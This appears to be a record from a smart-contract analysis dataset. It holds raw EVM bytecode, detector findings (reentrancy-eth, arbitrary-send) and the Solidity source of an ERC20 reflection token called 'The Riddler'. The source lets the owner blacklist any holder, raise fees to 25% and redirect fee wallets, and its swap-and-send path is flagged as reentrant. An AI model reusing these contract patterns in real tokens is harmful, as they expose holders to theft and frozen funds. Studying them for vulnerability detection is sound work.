000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220292f2e510f1c154138573121fddcfe1b01a90081eb9da956f33df32bde78b5c764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,208
0xcfc553bf3c5221dff894dc5aa27d3c99d6afde8b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TheRiddler is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Riddler"; string private constant _symbol = "Riddler"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; // 2% Redistribution uint256 private _teamFee = 10; // 6% Marketing and 4% Buyback Fee uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _Buyback; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketfund, address payable developer, address payable buyback) { _Marketingfund = marketfund; _Deployer = developer; _Buyback = buyback; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_Buyback] = true; _isExcludedFromFee[_Deployer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(10).mul(6)); _Buyback.transfer(amount.div(10).mul(4)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 20000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Deployer); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Deployer); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Deployer); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() { require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarketingWallet(address payable account) external onlyOwner() { _Marketingfund = account; } function setDev(address payable account) external onlyOwner() { _Deployer = account; } function setBB(address payable account) external onlyOwner() { _Buyback = account; } }
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063d00efb2f1161008a578063d65169c911610064578063d65169c9146104fc578063dd62ed3e1461051c578063e01af92c14610562578063e47d60601461058257600080fd5b8063d00efb2f146104a6578063d477f05f146104bc578063d543dbeb146104dc57600080fd5b8063c0e6b46e116100c6578063c0e6b46e14610423578063c3c8cd8014610443578063c9567bf914610458578063cba0e9961461046d57600080fd5b806395d89b41146103b3578063a9059cbb146103e3578063b515566a1461040357600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461034157806370a0823114610356578063715018a6146103765780638da5cb5b1461038b57600080fd5b8063437823ec146102e15780635932ead1146103015780635d098b381461032157600080fd5b806323b872dd1161019557806323b872dd14610263578063273123b71461028357806328667162146102a5578063313ce567146102c557600080fd5b806306fdde03146101c7578063095ea7b31461020d57806318160ddd1461023d57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600b81526a2a3432902934b2323632b960a91b60208201525b6040516102049190611d90565b60405180910390f35b34801561021957600080fd5b5061022d610228366004611c21565b6105bb565b6040519015158152602001610204565b34801561024957600080fd5b50683635c9adc5dea000005b604051908152602001610204565b34801561026f57600080fd5b5061022d61027e366004611be1565b6105d2565b34801561028f57600080fd5b506102a361029e366004611b71565b61063b565b005b3480156102b157600080fd5b506102a36102c0366004611d4b565b61068f565b3480156102d157600080fd5b5060405160098152602001610204565b3480156102ed57600080fd5b506102a36102fc366004611b71565b61071c565b34801561030d57600080fd5b506102a361031c366004611d13565b61076a565b34801561032d57600080fd5b506102a361033c366004611b71565b6107b2565b34801561034d57600080fd5b506102a36107fe565b34801561036257600080fd5b50610255610371366004611b71565b61082b565b34801561038257600080fd5b506102a361084d565b34801561039757600080fd5b506000546040516001600160a01b039091168152602001610204565b3480156103bf57600080fd5b506040805180820190915260078152662934b2323632b960c91b60208201526101f7565b3480156103ef57600080fd5b5061022d6103fe366004611c21565b6108c1565b34801561040f57600080fd5b506102a361041e366004611c4c565b6108ce565b34801561042f57600080fd5b506102a361043e366004611d4b565b610972565b34801561044f57600080fd5b506102a3610a11565b34801561046457600080fd5b506102a3610a47565b34801561047957600080fd5b5061022d610488366004611b71565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104b257600080fd5b5061025560165481565b3480156104c857600080fd5b506102a36104d7366004611b71565b610e0e565b3480156104e857600080fd5b506102a36104f7366004611d4b565b610e5a565b34801561050857600080fd5b506102a3610517366004611b71565b610f27565b34801561052857600080fd5b50610255610537366004611ba9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056e57600080fd5b506102a361057d366004611d13565b610f73565b34801561058e57600080fd5b5061022d61059d366004611b71565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105c8338484610fb1565b5060015b92915050565b60006105df8484846110d5565b610631843361062c85604051806060016040528060288152602001611f61602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113b7565b610fb1565b5060019392505050565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161066590611de3565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106b95760405162461bcd60e51b815260040161066590611de3565b600181101580156106cb575060198111155b6107175760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d20323500000000006044820152606401610665565b600955565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161066590611de3565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161066590611de3565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107dc5760405162461bcd60e51b815260040161066590611de3565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b03161461081e57600080fd5b47610828816113f1565b50565b6001600160a01b0381166000908152600260205260408120546105cc90611486565b6000546001600160a01b031633146108775760405162461bcd60e51b815260040161066590611de3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105c83384846110d5565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161066590611de3565b60005b815181101561096e576001600e600084848151811061092a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061096681611ef6565b9150506108fb565b5050565b6000546001600160a01b0316331461099c5760405162461bcd60e51b815260040161066590611de3565b600081116109ec5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610665565b610a0b612710610a05683635c9adc5dea000008461150a565b90611589565b600d5550565b6011546001600160a01b0316336001600160a01b031614610a3157600080fd5b6000610a3c3061082b565b9050610828816115cb565b6000546001600160a01b03163314610a715760405162461bcd60e51b815260040161066590611de3565b601454600160a01b900460ff1615610acb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610665565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b083082683635c9adc5dea00000610fb1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4157600080fd5b505afa158015610b55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b799190611b8d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc157600080fd5b505afa158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf99190611b8d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c799190611b8d565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610ca98161082b565b600080610cbe6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d2157600080fd5b505af1158015610d35573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d5a9190611d63565b5050601480546801158e460913d000006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610dd657600080fd5b505af1158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e9190611d2f565b6000546001600160a01b03163314610e385760405162461bcd60e51b815260040161066590611de3565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e845760405162461bcd60e51b815260040161066590611de3565b60008111610ed45760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610665565b610eec6064610a05683635c9adc5dea000008461150a565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610f515760405162461bcd60e51b815260040161066590611de3565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b031614610f9357600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0383166110135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610665565b6001600160a01b0382166110745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610665565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610665565b6001600160a01b03821661119b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610665565b600081116111fd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610665565b6000546001600160a01b0384811691161480159061122957506000546001600160a01b03838116911614155b1561135a576001600160a01b038316301461124d5760155481111561124d57600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561128f57506001600160a01b0382166000908152600e602052604090205460ff16155b80156112ab5750336000908152600e602052604090205460ff16155b6112b457600080fd5b60006112bf3061082b565b9050600d5481106112cf5750600d545b600c546014549082101590600160a81b900460ff161580156112fa5750601454600160b01b900460ff165b80156113035750805b801561131d57506014546001600160a01b03868116911614155b801561133757506013546001600160a01b03868116911614155b1561135757611345826115cb565b47801561135557611355476113f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061139c57506001600160a01b03831660009081526005602052604090205460ff165b156113a5575060005b6113b184848484611770565b50505050565b600081848411156113db5760405162461bcd60e51b81526004016106659190611d90565b5060006113e88486611edf565b95945050505050565b6010546001600160a01b03166108fc611416600661141085600a611589565b9061150a565b6040518115909202916000818181858888f1935050505015801561143e573d6000803e3d6000fd5b506012546001600160a01b03166108fc61145e600461141085600a611589565b6040518115909202916000818181858888f1935050505015801561096e573d6000803e3d6000fd5b60006006548211156114ed5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610665565b60006114f761179e565b90506115038382611589565b9392505050565b600082611519575060006105cc565b60006115258385611ec0565b9050826115328583611ea0565b146115035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610665565b600061150383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c1565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167557600080fd5b505afa158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad9190611b8d565b816001815181106116ce57634e